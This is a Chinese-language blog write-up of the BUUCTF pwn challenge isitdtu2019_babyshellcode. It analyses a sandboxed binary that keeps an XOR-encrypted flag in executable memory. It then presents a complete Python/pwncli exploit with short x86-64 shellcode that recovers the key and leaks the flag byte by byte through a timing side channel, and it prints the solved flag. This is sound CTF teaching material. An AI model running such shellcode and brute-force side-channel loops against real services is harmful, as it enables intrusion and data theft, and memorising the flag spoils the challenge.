[BUUCTF] isitdtu2019_babyshellcode
isitdtu2019_babyshellcode
总结
侧信道攻击,爆破出flag。这里对shellcode的长度有限制,所以需要尽量写较短的shellcode完成利用。
题目分析
checksec

同时发现有沙盒,读取输入后,只能使用alarm系统调用:

函数分析
init
在_init段注册了一个函数:

主要流程为:
- mmap一块内存,起始地址为- 0xcafe000,页权限为可读可写可执行
- 读取flag到0xcafe000
- 从/dev/urandom读取8个字节,存储在一个整数变量中
- 按每8个字节与flag进行异或
main

主要就是读取用户输入,然后执行shellcode。在0x202020处拷贝了shellcode,如下:

利用思路
- 
使用 alarm调用取消定时
- 
利用 flag的特征求解出异或的key。flag为uuid字符串时,长度为42,且有些字符是已知的,包括flag{}-。
- 
利用测信道攻击,爆破出 flag。思路为:逐个字节比较,如果猜测成功,那么将程序陷入死循环,否则程序会异常终止。
- 
猜到所有的 flag
EXP
考虑到flag的特征,其实这里可以只把猜测的范围限制为0123456789abcdef,加快爆破的速度。这份exp将范围扩大了一些(偷懒)。
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwncli import *
cli_script()
debug = gift.debug
filename = gift.filename
if not debug:
    ip = gift.ip
    port = gift.port
# flag{2bb747aa-dabb-4826-a4d7-9fcb98b949f8}
shellcode = """
    /* alarm(0) */
    mov al, 0x25
    syscall
    /* recover key */
    mov ebp, 0xcafe000
    mov eax, dword ptr [rbp]
    xor eax, 0x67616c66
    mov ebx, dword ptr [rbp+0x28+4]
    shl rbx, 32
    or rbx, rax
    /* recover flag */
L1:
    xor qword ptr [rbp + 8 * rdx], rbx
    inc edx
    cmp dl, 6
    jnz L1
L2:
    cmp byte ptr [rbp + {}], {}
    jz L2 /* stuck */
"""
idx = 0
flag = ""
for _ in range(42):
    err = True
    for i in bytearray(b"-{{}}flagbcde0123456789"):
        if debug:
            io = process(filename)
        else:
            io = remote(ip, port)
        io.send(asm(shellcode.format(idx, hex(i))))
        if io.can_recv_raw(3):
            io.close()
            continue
        else:
            flag += chr(i)
            print(f"Now flag is : {flag}")
            io.close()
            err = False
            break
    if err:
        error("This round is wrong!")
    
    idx += 1

引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli
本文来自博客园,作者:LynneHuan,转载请注明原文链接:https://www.cnblogs.com/LynneHuan/p/16104023.html

 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号